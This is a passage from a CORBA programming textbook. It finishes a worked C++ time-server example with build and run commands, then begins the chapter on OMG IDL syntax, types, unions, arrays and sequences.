        cerr < "Uncaught CORBA exception" < endl; 
        return 1; 
    } 
    catch (...) { 
        return 1; 
    } 
    return 0; 
} 
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We must include the client-side header file, time.hh, to make the IDL definitions 
available to the client application code. The code then does a simple argument check and 
initializes the ORB run time with ORB_init: 
      
#include <iostream.h> 
#include <iomanip.h> 
#include "time.hh" 
 
int 
main(int argc, char * argv[]) 
{ 
    try { 
        // Check arguments 
        if (argc != 2) { 
            cerr < "Usage: client IOR_string" < endl; 
            throw 0; 
        } 
  
  // Initialize orb 
        CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
     
Note that we throw zero to implement a simple form of error handling. An exception 
handler at the end of main ensures that the client exits with non-zero status if anything 
goes wrong. 
 
The next few lines convert the command-line argument, which is expected to be a 
stringified reference to a Time object, back into an object reference: 
      
        // Destringify argv[1] 
        CORBA::Object_var obj = orb->string_to_object(argv[1]); 
        if (CORBA::is_nil(obj)) { 
            cerr < "Nil Time reference" < endl; 
            throw 0; 
        } 
 
     
This results in a reference to an object of type Object. However, before the client can 
invoke an operation via the reference, it must down-cast the reference to the correct type, 
namely Time: 
      
        // Narrow 
        Time_var tm = Time::_narrow(obj); 
        if (CORBA::is_nil(tm)) { 
            cerr < "Argument is not a Time reference" < endl; 
            throw 0; 
        } 
 
     
The call to Time::_narrow has the same purpose as a C++ dynamic cast: it tests 
whether a reference is of the specified type. If the reference has the specified type, 
_narrow returns a non-nil reference and nil otherwise. 
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The client now holds an active object reference to the Time object in the server and can 
use that object reference to obtain the current time: 
      
        // Get time 
        TimeOfDay tod = tm->get_gmt(); 
        cout < "Time in Greenwich is " 
             < setw(2) < setfill('0') < tod.hour < ":" 
             < setw(2) < setfill('0') < tod.minute < ":" 
             < setw(2) < setfill('0') < tod.second < endl; 
 
     
The call to get_gmt invokes a remote procedure call to the get_gmt method in the 
server. The call blocks until the current time is returned by the server; the client prints the 
result on stdout. Note that this will work no matter where the server is located. The 
ORB transparently takes care of locating the Time object and dispatching the request to 
it. 
The remainder of the client consists of two exception handlers that implement simple 
error handling. (The closing curly brace at the start of this code fragment completes the 
try block we opened at the beginning of main.) 
      
    } 
    catch (const CORBA::Exception &) { 
        cerr < "Uncaught CORBA exception" < endl; 
        return 1; 
    } 
    catch (...) { 
        return 1; 
    } 
    return 0; 
} 
 
     
Again, how to compile the client depends on your compiler and ORB. The main point is 
that we must compile both the generated stub code (timeC.cc) and our client 
application code, which we assume is in the file myclient.cc. The link line also 
depends on your compiler and ORB. We assume here that both client and server use the 
same ORB run-time library: 
      
$ CC -c -I/opt/myORB/include timeC.cc 
$ CC -c -I/opt/myORB/include myclient.cc 
$ CC -o myclient timeC.o myclient.o -L/opt/myORB/lib -lorb 
 
     
Assuming that there are no errors, this results in a client executable called myclient. 
 

3.5 Running Client and Server 

To run our application, we must first start the server. We redirect the object reference 
string printed by the server into a file so that we can easily pass it on the command line 
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for the client. To retain use of the terminal while the server is running, we run the server 
in the background. 
After the server is running, we start the client, passing it the object reference printed by 
the server on the command line. The client reads the current time via the passed reference 
and prints the time on stdout before it exits again. Finally, we terminate the server by 
sending it a SIGTERM: 
      
$ ./myserver >/tmp/myserver.ref & 
[1] 7898 
$ ./myclient `cat /tmp/myserver.ref` 
Time in Greenwich is 01:35:39 
$ kill %1 
[1] + Terminated               ./myserver & 
$ 
 

3.6 Summary 

This chapter presents a simple, but complete, CORBA application. As you can see, 
building a complete application involves four basic steps: 

Step 1.  
Define the IDL. 

Step 2.  
Compile the IDL. 

Step 3.  
Write and compile the server. 

Step 4.  
Write and compile the client. 
Of course, you may be writing a client to communicate with an existing server, in which 
case steps 1 and 3 are unnecessary. 
Looking back at the source code, you may be intimidated by the number of lines that is 
required for something as simple as this application. However, you need to keep in mind 
that most of the code in both client and server is boilerplate and seldom changes. In fact, 
the client really consists of only a single line that is interesting as far as the application is 
concerned: namely, the call to get_gmt. Similarly, the server contains only a few 
interesting lines: namely, the body of the get_gmt method. 
Our minimal application is so small that the source code is dominated by the number of 
lines required to initialize the ORB run time. (In a more realistic application, that code 
would be encapsulated by a wrapper class.) As applications get larger, the overhead 
incurred by CORBA remains fixed, so almost all the code you write can concern itself 
with the actual application logic instead of the details of how to communicate. This is one 
major advantage of CORBA: it relieves you of the burden of dealing with infrastructure 
concerns and allows you to put your effort where you really need it—namely, toward 
developing the business logic of your application. 
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Part II: Core CORBA 
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Chapter 4. The OMG Interface Definition Language 

 

4.1 Chapter Overview 

In this chapter we present the OMG Interface Definition Language (IDL). We start by 
discussing the role and purpose of IDL, explaining how language-independent 
specifications are compiled for particular implementation languages to create actual 
implementations. Sections 4.4 through 4.7 present the low-level (and sometimes 
boring) details you must eventually confront with any programming language. You may 
wish to skim this material and return to it later. Sections 4.8 through 4.20 cover the 
core IDL concepts of interfaces, operations, exceptions, and inheritance. These concepts 
have profound influence on the behavior of a distributed system and should be read in 
detail. Section 4.21 discusses recent changes and additions to IDL. 

4.2 Introduction 

The OMG IDL is CORBA's fundamental abstraction mechanism for separating object 
interfaces from their implementations. OMG IDL establishes a contract between client 
and server that describes the types and object interfaces used by an application. This 
description is independent of the implementation language, so it does not matter whether 
the client is written in the same language as the server. 
 
IDL definitions are compiled for a particular implementation language by an IDL 
compiler. The compiler translates the language-independent definitions into language-
specific type definitions and APIs. These types and APIs are used by the developer to 
provide application functionality and to interact with the ORB. The translation algorithms 
for various implementation languages are specified by CORBA and are known as 
language mappings. Currently, CORBA defines language mappings for C, C++, 
Smalltalk, COBOL, Ada, and Java. Independent efforts are under way to provide 
additional language mappings for Eiffel, Modula 3, Lisp, Perl, Tcl, Python, Dylan, 
Oberon, Visual Basic, and Objective-C. Some of these mappings may eventually become 
standards. 
 
Because IDL describes interfaces but not implementations, it is a purely declarative 
language. There is no way to write executable statements in IDL, and there is no way to 
say anything about object state (execution and state are implementation concerns). 
 
IDL definitions focus on object interfaces, the operations supported by those interfaces, 
and exceptions that may be raised by operations. This requires quite a bit of supporting 
machinery; in particular, a large part of IDL is concerned with the definition of data types. 
This is because data can be exchanged between client and server only if their types are 
defined in IDL. You cannot exchange arbitrary C++ data between client and server 
because it would destroy the language independence of CORBA. However, you can 
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always create an IDL type definition that corresponds to the C++ data you want to send, 
and then you can transmit the IDL type. 
 
We present the full syntax and semantics of IDL here. Because much of IDL is based on 
C++, we focus on those areas where IDL differs from C++ or constrains the equivalent 
C++ feature in some way. IDL features that are identical to C++ are mentioned mostly by 
example. You can find the full IDL specification in [18]. 
 
Note that there are many interface definition languages, typically all called "IDL." For 
example, DCE uses its own version of an interface definition language to describe types 
and remote procedure calls. In this book, when we use IDL, we are referring to the IDL 
defined and published by the OMG. 

4.3 Compilation 

An IDL compiler produces source files that must be combined with application code to 
produce client and server executables. In this section, we present only a conceptual view 
of this process because CORBA does not standardize the development environment. This 
means that details, such as the names and number of generated source files, vary from 
ORB to ORB. However, the concepts are the same for all ORBs and implementation 
languages. 
 
The outcome of the development process is a client executable and a server executable. 
These executables can be deployed anywhere, whether they are developed using the same 
ORB or different ORBs and whether they are implemented using the same or different 
languages. The only constraint is that the host machines must provide the necessary run-
time environment, such as any required dynamic libraries, and that connectivity can be 
established between them. 

4.3.1 Single Development Environment for Client and Server 

Figure 4.1 shows the situation when both client and server are developed in C++ and 
use the same ORB. The IDL compiler generates four files from the IDL definition: two 
header files (types.hh and serv.hh), a stub file (stubs.cc), and a skeleton file 
(skels.cc). 
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Figure 4.1 Development process if client and server share the same 
development environment. 

 
The types.hh header file contains definitions that correspond to the types used in the 
IDL. It is included in the source code of both client and server to ensure that client and 
server agree about the types and interfaces used by the application. 
 
The serv.hh header file contains definitions that correspond to the types used in the 
IDL, but the definitions are specific to the server side, so this file is included only in the 
server source code. (serv.hh includes types.hh.) 
 
The stub source code provides an API to the client for sending messages to remote 
objects. The client source code (app.cc, written by the client developer) contains the 
client-side application logic. The stub and client code are compiled and linked into the 
client executable. 
 
The skeleton file contains source code that provides an up-call interface from the ORB 
into the server code written by the developer and provides the connection between the 
networking layer of the ORB and the application code. The server implementation file 
(impl.cc, written by the server developer) contains the server-side application logic 
(the object implementations, properly termed servants). The skeleton and stub source 
code and the implementation source code are compiled and linked into the server 
executable. 
 
Both client and server also link with an ORB library that provides the necessary run-time 
support. 
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You are not limited to a single implementation of a client or server. For example, you can 
build multiple servers, each of which implements the same interfaces but uses different 
implementations (for example, with different performance characteristics). Multiple such 
server implementations can coexist in the same system. This arrangement provides one 
fundamental scalability mechanism in CORBA: if you find that a server process starts to 
bog down as the number of objects increases, you can run an additional server for the 
same interfaces on a different machine. Such federated servers provide a single logical 
service that is distributed over a number of processes on different machines. Each server 
in the federation implements the same interfaces but hosts different object instances. Of 
course, federated servers must somehow ensure consistency of any databases they share 
across the federation, possibly using the OMG Concurrency Control Service [21]. 
 
Some ORBs also offer load-balancing features that allow a number of servers to 
implement the same objects redundantly; the ORB automatically dispatches requests to 
the server with the lowest load or dispatches requests on a round-robin basis. However, 
the CORBA specification currently does not standardize load balancing and redundancy, 
so any such features are proprietary. 

4.3.2 Different Development Environments for Client and 
Server 

Client and server cannot share any source or binary components if they are developed in 
different languages or different ORBs. Clearly, a client written in Java cannot include a 
C++ header file. Similarly, sharing source code or binaries from different ORB vendors is 
impossible because it would create tight implementation dependencies among clients, 
servers, and run-time libraries. 
 
Figure 4.2 shows the situation when a client written in Java is developed with vendor 
A's ORB and the corresponding server is written in C++ and developed with vendor B's 
ORB. In this case, the client and server developers are completely independent, and each 
uses his or her own development environment, language mapping, and ORB 
implementation. The only link between client and server developers is the IDL definition 
each one uses. 
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Figure 4.2 Development process for different development environments. 

 
Because only the stubs are used by the client, the client developer simply ignores the 
skeleton generated by the IDL compiler or suppresses the skeleton code generation. 

4.4 Source Files 

The IDL specification defines a number of rules for the naming and contents of IDL 
source files. 

4.4.1 File Naming 

The names of source files containing IDL definitions must end in .idl. For example, 
CCS.idl is a valid source file name. An IDL compiler is free to reject source files 
having other file name extensions. 
 
For file systems that are case-insensitive (such as DOS), the case of the file name 
extension is ignored, so CCS.IDL is legal. For file systems that are case-sensitive (such 
as UNIX), the extension must be in lowercase and CCS.IDL is not legal. 

4.4.2 File Format 

IDL is a free-form language. This means that IDL allows free use of spaces, horizontal 
and vertical tab stops, form feeds, and newline characters (any of these characters serves 
as a token separator). Layout and indentation do not carry semantics, so you can choose 
any textual style you prefer. You may wish to follow the style we have used for the IDL 
examples throughout this book. These examples follow the OMG style guide for IDL. 
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4.4.3 Preprocessing 

IDL source files are preprocessed. The preprocessor can be implemented as part of the 
compiler, or it can be an external program. However, its behavior is identical to the C++ 
preprocessor. This means that the usual C++ rules for lexical translation phases apply: the 
preprocessor maps source file characters onto the source character set, replaces trigraphs, 
concatenates lines ending in a backslash, replaces comments with white space, and so on. 
The most common use of the preprocessor is for #include directives. This permits an 
IDL definition to use types defined in a different source file. You may also want to use 
the preprocessor to guard against double inclusion of a file: 
       
#ifndef _MYMODULE_IDL_ 
#define _MYMODULE_IDL_ 
 
module MyModule { /* ... */ }; 
 
#endif /* _MYMODULE_IDL_ */ 
 
      
Another frequent use of the preprocessor is to control the repository IDs that are 
generated by the compiler with #pragma directives. We look at the #pragma directives 
specified by CORBA in Section 4.19. 

4.4.4 Definition Order 

IDL constructs, such as modules, interfaces, or type definitions, can appear in any order 
you prefer. However, identifiers must be declared before they can be used. 

4.5 Lexical Rules 

IDL's lexical rules are almost identical to those of C++ except for some differences in 
identifiers. 

4.5.1 Comments 

IDL definitions permit both the C and the C++ style of writing comments: 
       
/* 
 * This is a legal IDL comment. 
 */ 
// This IDL comment extends to the end of this line. 
 
      

4.5.2 Keywords 

IDL uses a number of keywords, which must be spelled in lowercase. For example, 
interface and struct are keywords and must be spelled as shown. There are three 
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exceptions to this lowercase rule: Object, TRUE, and FALSE are all keywords and 
must be capitalized as shown. 

4.5.3 Identifiers 

Identifiers begin with an alphabetic character followed by any number of alphabetics, 
digits, or underscores. Unlike C++ identifiers, IDL identifiers cannot have a leading 
underscore (but see also Section 4.21.5). In addition, IDL identifiers cannot contain 
non-English letters, such as Å, because that would make it very difficult to map IDL to 
target languages that lack support for such characters. 

Case Sensitivity 

Identifiers are case-insensitive but must be capitalized consistently. For example, 
TimeOfDay and TIMEOFDAY are considered the same identifier within a naming scope. 
However, IDL enforces consistent capitalization. After you have introduced an identifier, 
you must capitalize it consistently throughout; otherwise, the compiler will reject it as 
illegal. This rule exists to permit mappings of IDL to languages (such as Pascal) that 
ignore case in identifiers as well as to languages (such as C++) that treat differently 
capitalized identifiers as distinct. 

Identifiers That Are Keywords 

IDL permits you to create identifiers that happen to be keywords in one or more 
implementation languages. For example, while is a perfectly good IDL identifier but of 
course is a keyword in many implementation languages. Each language mapping defines 
its own rules for dealing with IDL identifiers that are keywords. The solution typically 
involves using a prefix to map away from the keyword. For example, the IDL identifier 
while is mapped to _cxx_while in C++. 
 
This rule for dealing with keywords is workable but results in hard-to-read source code. 
Identifiers such as package, then, import, PERFORM, and self will clash 
with some implementation language or other. To make life easier for developers 
(possibly yourself), you should try to avoid IDL identifiers that are likely to be 
implementation language keywords. 

4.6 Basic IDL Types 

IDL provides a number of built-in basic types, and they are shown in Table 4.1. 
Table 4.1. IDL basic types. 

Type Range Size 
short -215 to 215 -1 = 16 bits 
long -231 to 231 -1 = 32 bits 
unsigned short 0 to 216-1 = 16 bits 
unsigned long 0 to 232-1 = 32 bits 
float IEEE single-precision = 32 bits 
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double IEEE double-precision = 64 bits 
char ISO Latin-1 = 8 bits 
string ISO Latin-1, except ASCII NUL Variable-length 
boolean TRUE or FALSE Unspecified 
octet 0–255 = 8 bits 
any Run-time identifiable arbitrary type Variable-length 
The CORBA specification requires that language mappings preserve the size of these 
types as shown. The value ranges shown in Table 4.1 need not be maintained by all 
language mappings, but CORBA requires implementations to document any deviations 
from the specified ranges. (The C++ mapping preserves all value ranges.) 
 
These requirements may sound confusing. For example, when you look at the size 
requirements, you will find that IDL specifies only a lower bound instead of an exact size. 
The reason is that some CPU architectures do not have, for example, an 8-bit character 
type or a 16-bit integer type; on such CPUs, these types are mapped to a type larger than 
8 or 16 bits. Similarly, some language mappings cannot preserve the full range of all 
types; for example, Java does not have unsigned integers and maps both unsigned 
long and long to Java int. To avoid restricting the possible target environments and 
languages, the CORBA specification leaves the size and range requirements for IDL 
basic types loose. 
 
All the basic types (except octet) are subject to changes in representation as they are 
transmitted between clients and servers. For example, a long value undergoes byte 
swapping when sent from a big-endian to a little-endian machine. Similarly, characters 
undergo translation in representation if they are sent from an EBCDIC to an ASCII 
implementation. What happens if a character does not have a precise match in the target 
character set is implementation-dependent. For example, the EBCDIC character ¬ does 
not have an ASCII equivalent. An ORB might translate EBCDIC ¬ into ASCII ~, or it 
might raise a DATA_CONVERSION exception (see Section 4.10) to indicate that 
translation is impossible. Characters may also change in size (not all architectures use 8-
bit characters). However, these changes are transparent to the programmer and do exactly 
what is required. 
 
Table 4.1 does not include a pointer type. There are a number of good reasons for this. 
Pointer types are used much less in object-oriented programming than in non-OO 
languages. 
 
Some implementation languages (such as COBOL and Java) do not support pointers. 
Pointers would complicate the implementation of marshaling for ORB vendors and 
would incur additional run-time costs. 
 
As you will see in Section 4.8.2, the lack of pointers is no great hardship. IDL uses 
object references to achieve what in a non-OO environment would normally be done with 
a pointer. In effect, object references are pointers. However, object references can denote 
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only objects but cannot point to data. IDL supports recursive data types, such as trees, 
without introducing a data pointer type (see Section 4.7.8). 
 
CORBA recently extended IDL to support additional numeric and character types. 
Because many ORBs do not yet provide these types, we cover them separately in 
Section 4.21. 

4.6.1 Integer Types 

IDL does not have a type int, so there are no guessing games as to its range. An IDL 
short is mapped to at least a 2-byte type, and IDL long is mapped to at least a 4-byte 
type. 
Some languages (notably Java) do not support unsigned types. Because of this, 
unsigned short and unsigned long map to Java short and int, respectively. 
This means that a Java programmer must ensure that large unsigned IDL values are 
treated correctly when represented as Java signed values. 

4.6.2 Floating-Point Types 

These types follow the IEEE specification for single- and double-precision floating-point 
representation [7]. If an implementation cannot support IEEE format floating-point 
values, it must document how it deviates from the IEEE specification. 

4.6.3 Characters 

IDL characters support the ISO Latin-1 character set [8], which is a superset of ASCII. 
The bottom 128 character positions (0–127) are identical to ASCII. The top 128 character 
positions (128–255) are taken up by characters such as Å, ß, and Ç. This arrangement 
allows most European languages to be used with an 8-bit character set. Recently, IDL 
was extended to support wide characters and strings. This permits use of arbitrary wide 
character sets, such as Unicode. 

4.6.4 Strings 

IDL strings support the ISO Latin-1 character set with the exception of ASCII NUL (0). 
Disallowing NUL inside IDL strings is a concession to C and C++; the notion of NUL-
terminated strings is so deeply ingrained in C and C++ that allowing embedded NUL 
characters would make the use of IDL strings impossibly difficult in these languages. 
 
IDL strings can be bounded or unbounded. An unbounded string has the IDL type 
string and can grow to any length. A bounded string type specifies an upper limit on 
the length of the string. For example, string<10> is a string type that permits only 
strings of up to ten characters. 
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The bound of a string does not include any terminating NUL character, so the string 
"Hello" will fit into a string of type string<5>. (Many programming languages do 
not represent strings as NUL-terminated arrays, so the concept of NUL termination does 
not apply to IDL.) 
 
Most C and C++ ORB implementations ignore bounded strings and treat them as if they 
were unbounded. This limitation arises because C and C++ do not support bounded 
strings natively, and emulating bounded string support would result in awkward language 
mappings. As a C++ programmer, you are made responsible for enforcing the bound at 
run time. 

4.6.5 Booleans 

Boolean values can have only the values TRUE and FALSE. IDL makes no requirement 
as to how these values are to be represented in particular languages nor about the size of a 
Boolean value. 

4.6.6 Octets 

The IDL type octet is an 8-bit type that is guaranteed not to undergo any changes in 
representation as it is transmitted between address spaces. This guarantee permits 
exchange of binary data so that it is not tampered with in transit. All other IDL types are 
subject to changes in representation during transmission. 

4.6.7 Type any 

Type any is a universal container type. A value of type any can hold a value of any 
other IDL type, such as long or string, or even another value of type any. Type any 
can also hold object references or user-defined complex types, such as arrays or 
structures. 
 
Type any is useful when you do not know at compile time what IDL types you will 
eventually need to transmit between client and server. Type any is IDL's equivalent of 
what in C++ is typically achieved with a void * or a stdarg variable argument list. 
However, type any is substantially safer because it is self-describing (you can find out at 
run time what type of value is contained in an any). Manipulation of values of type any 
is type-safe; attempts to, for example, extract a float as a string return an error 
indication. As a result, careless misinterpretation of a value as the wrong type is much 
less likely than it is with the completely type-unsafe mechanism of using a void *. 
We look at type any and its C++ mapping in detail in Chapter 15. 
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4.7 User-Defined Types 

In addition to providing the built-in basic types, IDL permits you to define complex types: 
enumerations, structures, unions, sequences, and arrays. You can also use typedef to 
explicitly name a type. 

4.7.1 Named Types 

You can use typedef to create a new name for a type or to rename an existing type: 
       
typedef short       YearType; 
typedef short       TempType; 
typedef TempType    TemperatureType;    // Bad style 
 
      
The usual style considerations apply to typedef. The definition of TempType in this 
case is useful. To the reader, it indicates that a value represents a temperature rather than 
some non-specific number. Similarly, defining YearType allows the reader to see that 
some other number represents a calendar year. The fact that both temperatures and years 
are represented as short is effectively abstracted away by this style, and that makes the 
specification more readable and self-documenting. 
 
On the other hand, the definition of TemperatureType is stylistically poor because it 
needlessly creates an alias for an existing type instead of introducing a conceptually 
different type. In the preceding specification, TempType and TemperatureType 
can be used interchangeably. This can lead to inconsistency and confusion and so should 
be avoided. 
 
Be careful about the semantics of IDL typedef. It depends on the language mapping 
whether an IDL typedef results in a new, separate type or only an alias. In C++, 
YearType and TempType are compatible types that can be used interchangeably. 
However, CORBA provides no guarantee that this must be true for all implementation 
languages. For a mapping to another language, such as Pascal, conceivably YearType 
and TempType could be mapped to incompatible types. To avoid potential future 
problems, you should define each logical type exactly once and then use that definition 
consistently throughout your specification. 

4.7.2 Enumerations 

An IDL enumerated type definition looks much like the C++ version: 
       
enum Color { red, green, blue, black, mauve, orange }; 
 
      
This definition introduces a type named Color that becomes a new type in its own right 
(there is no need to use a typedef to name the type). IDL guarantees that enumerators 
are mapped to a type with at least 32 bits. 
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IDL does not define how ordinal values are assigned to enumerators. For example, you 
cannot assume that the enumerator orange will have the value 5 in different 
implementation languages. IDL guarantees only that the ordinal values of enumerators 
will increase from left to right, so red will compare less than green in all 
implementation languages. However, the actual ordinal values are not further constrained 
and may not even be contiguous. 
 
Unlike C++, IDL does not permit you to control the ordinal values of enumerators. This 
limitation exists because many implementation languages do not allow control of 
enumerator values. If the feature were permitted, it would result in awkward mappings 
for such languages. 
       
enum Color { red = 0, green = 7 };  // Not legal IDL! 
 
      
In practice, you do not care about the values used for enumerators as long as you do not 
transmit the ordinal value of an enumerator between address spaces. For example, 
sending the value 0 to a server to mean red is asking for trouble because the server may 
not use 0 to represent red in its implementation language. Instead, simply send the value 
red itself. If red is represented by a different ordinal value in the receiving address 
space, that value will be translated by the ORB run time as appropriate. 
 
As with C++, IDL enumerators enter the enclosing namespace, so the following is illegal: 
       
enum InteriorColor { white, beige, grey }; 
enum ExteriorColor { yellow, beige, green };    // beige redefined 
 
      
IDL does not permit empty enumerations. 

4.7.3 Structures 

IDL supports structures containing one or more named members of arbitrary type, 
including user-defined complex types. For example: 
       
struct TimeOfDay { 
    short   hour; 
    short   minute; 
    short   second; 
}; 
 
      
As in C++, this definition introduces a new type called TimeOfDay. Structure 
definitions form a namespace, so the names of the structure members need to be unique 
only within their enclosing structure. The following is legal (if ugly) IDL: 
       
struct Outer { 
    struct FirstNested { 
        long    first; 
        long    second; 
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    } first; 
    struct SecondNested { 
        long    first; 
        long    second; 
    } second; 
}; 
 
      
The example demonstrates that the various first and second identifiers do not cause 
a name collision. However, such in-line definition of types is hard to read, so the 
preceding is better expressed as follows: 
       
struct FirstNested { 
    long    first; 
    long    second; 
}; 
struct SecondNested { 
    long    first; 
    long    second; 
}; 
struct Outer { 
    FirstNested     first; 
    SecondNested    second; 
}; 
 
      
Note that this definition is much more readable but is not exactly equivalent to the 
previous example. The nested version adds only the single type name Outer to the 
global namespace, whereas the non-nested version also adds FirstNested and 
SecondNested. 
 
Of course, this definition still must be considered bad style because it ruthlessly reuses 
the identifiers first and second for different purposes. In the interest of clarity, you 
should avoid such reuse even though it is legal. 

4.7.4 Unions 

IDL unions differ quite a bit from their C++ counterparts. In particular, they must be 
discriminated; they allow multiple case labels for a single union member; and they 
support an optional default case: 
       
union ColorCount switch (Color) { 
case red: 
case green: 
case blue: 
    unsigned long   num_in_stock; 
case black: 
    float           discount; 
default: 
    string          order_details; 
}; 
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The semantics of unions are the same as in C++. Only one member of the union is active 
at a time. However, IDL adds a discriminator (similar to a Pascal variant record) that 
indicates which member is currently active. In this example, num_in_stock is active 
when the discriminator value is red, green, or blue, and discount is active when 
the discriminator value is black. Any other discriminator value indicates that 
order_details is active. 
 
Union members can be of any type, including user-defined complex types. The 
discriminator type must be an integral type (char, an integer type, boolean, or an 
enumeration type). You cannot use octet as a union discriminator type. 
As in C++, unions create a namespace, so union member names need be unique only 
within the enclosing union. 
 
The default case of a union is optional. However, if it is present, there must be at least 
one unused explicit case label in the range of discriminator values; otherwise, the union 
is illegal, as in the following example: 
       
union U switch (boolean) { 
case FALSE: 
    long    count; 
case TRUE: 
    string  message; 
default:                // Illegal, default case cannot happen 
    float   cost; 
}; 
 
      
The compiler rejects this because there is no value left over that could ever activate the 
default member of the union. 
 
The usual caveat for unions also applies to IDL: any attempt to interpret a value as a type 
other than the type of the active member results in undefined behavior. Unions are not 
meant to be used as a backdoor mechanism for type casting, so if you insist on 
interpreting a float value as a string, you will likely end up with a core dump. 
 
We recommend that you never use the default case for unions. In addition, you should 
never use more than one case label per member. As you will see in Section 6.16, this 
practice substantially simplifies use of the generated C++ code for unions. 
 
One particular use of IDL unions has become idiomatic and deserves special mention: 
       
union AgeOpt switch (boolean) { 
case TRUE: 
    unsigned short age; 
}; 
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Unions such as this one are used to implement optional values. A value of type AgeOpt 
contains an age only if the discriminator is TRUE. If the discriminator value is FALSE, 
the union is empty and contains no value other than the discriminator itself. 
 
IDL does not support optional or defaulted parameters, so the preceding union construct 
is frequently used to simulate that functionality. This is particularly useful if no special 
sentinel ("dummy") value is available to indicate the "this value is absent" condition for a 
parameter. 
 
You should exercise caution before deciding to use unions in your IDL. In some cases, 
unions are a good way to express the desired semantics and provide better static type 
safety than type any. However, unions are frequently used to simulate overloading. By 
passing a union with several members as a parameter, you can achieve with a single 
operation what would otherwise require several separate operations. For example: 
       
enum InfoKind { text, numeric, none }; 
union Info switch (InfoKind) { 
case text: 
    string  description; 
case numeric: 
    long    index; 
}; 
interface Order { 
    void set_details(in Info details); 
}; 
 
      
With this definition, the operation set_details can do triple duty and accept 
parameters of type string or long or (conceptually) accept no parameter at all to clear 
the details stored by an Order object. Although this looks attractive at first, the client 
must supply a correctly initialized union parameter to the operation, something that is 
more complex and error-prone than passing a simple value. The following approach is 
simpler and easier to understand: 
       
interface Order { 
    void set_text_details(in string details); 
    void set_details_index(in long index); 
    void clear_details(); 
}; 
 
      
This definition is semantically equivalent to the earlier one but abandons the union in 
favor of three separate operations. 
 
As always, you must exercise judgment when designing your interfaces. If you are 
tempted to use a union, double-check to see whether there is a simpler or more elegant 
solution. Too often, unions are abused to create operations that are like Swiss army 
knives. Typically, it is better to have several operations, each operation doing exactly one 
thing, than to have a single operation that does many different things. If you compare the 
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preceding definitions, you will probably agree that the second one, which avoids the 
union, is much easier to understand. 

4.7.5 Arrays 

IDL supports both single- and multidimensional arrays of arbitrary element type. For 
example: 
       
typedef Color   ColorVector[10]; 
typedef string  IDtable[10][20]; 
 
      
As in C++, the array bounds must be positive constant integer expressions. You must use 
a typedef to declare array types. The following declaration is syntactically invalid: 
       
Color ColorVector[10];  // Invalid IDL, missing typedef 
 
      
All array dimensions must be specified. IDL does not support open arrays because IDL 
does not support pointers. (In C and C++, open arrays are just pointers in disguise.) The 
following is illegal: 
       
typedef string  IDtable[][20]; // Error, open arrays are illegal 
 
      
An array type definition determines the number of elements of an array, but IDL does not 
specify how arrays are to be indexed in different implementation languages. This means 
that you cannot portably send an array index from a client to a server and expect the 
server to interpret the index correctly. For example, the client may be written in C++, in 
which arrays are indexed starting at 0, but the server may be written in a different 
language, which may start array indexes at 1. 
 
To portably pass array indexes across implementations, you must create a convention that 
determines the logical origin for indexes. For example, you can use the convention that 
arrays are indexed starting at 0. Clients and servers then are responsible for converting 
between the logical index (using a 0 origin) and the actual index value used by their 
respective implementation languages. 
 
In practice, non-portable use of array indexes rarely causes a problem because it is easier 
and more intuitive to send the array element itself instead of its index. 

4.7.6 Sequences 

Sequences are variable-length vectors. Sequences can contain any element type and can 
be bounded or unbounded: 
       
typedef sequence<Color>     Colors;     // Unbounded sequence 
typedef sequence<long, 100> Numbers;    // At most 100 numbers 
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An unbounded sequence can hold any number of elements up to the memory limits of 
your platform. 
 
A bounded sequence can hold any number of elements up to the bound. 
 
Either sequence can be empty—that is, it can contain no elements. 
 
Sequences can contain elements that are themselves sequences. This arrangement allows 
you to create lists of lists (which are often used to model trees): 
       
typedef sequence<Numbers>   ListOfNumberVectors; 
 
      
IDL permits you to create sequences in which the element type is anonymous, so the 
following definition is legal: 
       
typedef sequence<sequence<long, 100> > ListOfNumberVectors; 
 
      
This is equivalent to the preceding definition but defines the nested sequence inline. The 
outer sequence has a well-defined named type (ListOfNumberVectors). However, 
the inner sequence of long is of anonymous type. 
 
Anonymous types make it impossible to declare a variable of that type in the 
implementation code (the type has no name, so you cannot declare a variable of that type). 
This can make it impossible to initialize certain data structures, or to pass a value of 
anonymous type as an operation argument, because you cannot declare parameters of 
anonymous type. 
 
It is possible that anonymous types may be banned in a future revision of CORBA. 
Currently, anonymous types are permitted in the definition of structures, unions, 
sequences, arrays, and exceptions. They all share the same problems when mapped to 
implementation languages, so you should avoid anonymous IDL types. 
 
A final glitch about in-line definition of nested sequences is the following: 
       
typedef sequence<sequence<long>> ListOfNumberVectors; // Error 
 
      
This causes a syntax error because the string >> is parsed as a right-shift operator instead 
of two separate > tokens. To avoid the problem, you must insert white space or a 
comment between the two > tokens: 
       
typedef sequence<sequence<long> > ListOfNumberVectors; // OK 
 
      
If you use named types instead of in-line definitions, this parsing problem never arises. 
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4.7.7 Sequences Versus Arrays 

Sequences and arrays are similar—both provide a vector of elements of the same type. 
Here are some guidelines to help you decide whether a sequence or an array is the more 
appropriate type. 
 
If you require a variable-length list, use a sequence. 
 
If you have a list with a fixed number of elements, all of which exist at all times, use an 
array. 
 
Use sequences to implement recursive data structures. 
 
Use a sequence to pass a sparse array to an operation (a sparse array is an array in which 
most elements have the same value). Sending a sparse array as a sequence is more 
efficient because only those elements that do not have the default value are transmitted, 
whereas for arrays, all elements are sent. 
 
As an example of encoding a sparse array using a sequence, consider an application that 
transmits 2-D matrices containing numbers (such matrices frequently contain mostly 
zeros and are therefore sparse). Here is a simple IDL definition to transmit the array: 
       
typedef long Matrix[100][100]; 
interface MatrixProcessor { 
    Matrix invert_matrix(in Matrix m); 
}; 
 
      
The invert_matrix operation accepts a matrix containing 10,000 numbers and 
returns an inverted matrix containing another 10,000 numbers. This is fine, but it requires 
transmission of 80,000 bytes of data (40,000 bytes in each direction). If matrices typically 
contain a large number of zeros, it is more efficient to transmit only the non-zero 
elements: 
       
struct NonZeroElement { 
    unsigned short  row; // row index 
    unsigned short  col; // column index 
    long            val; // value in this cell 
}; 
typedef sequence<NonZeroElement> Matrix; 
 
interface MatrixProcessor { 
    Matrix invert_matrix(in Matrix m); 
}; 
 
      
This version of the interface is far more efficient in bandwidth than the previous version 
provided that most matrices contain mostly zeros. Instead of sending all the elements 
every time, we send the row and column index of the non-zero elements. For each 
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sequence element, we transmit 8 bytes, so the sparse version is more efficient if at least 
half the elements are zeros. 
 
Note that IDL provides no performance guarantees for sequences and arrays. Instead, the 
run-time performance for sequences and arrays depends on the language mapping. The 
C++ mapping guarantees random array access in constant time because it maps IDL 
arrays to C++ arrays. For sequences, the C++ mapping provides no performance 
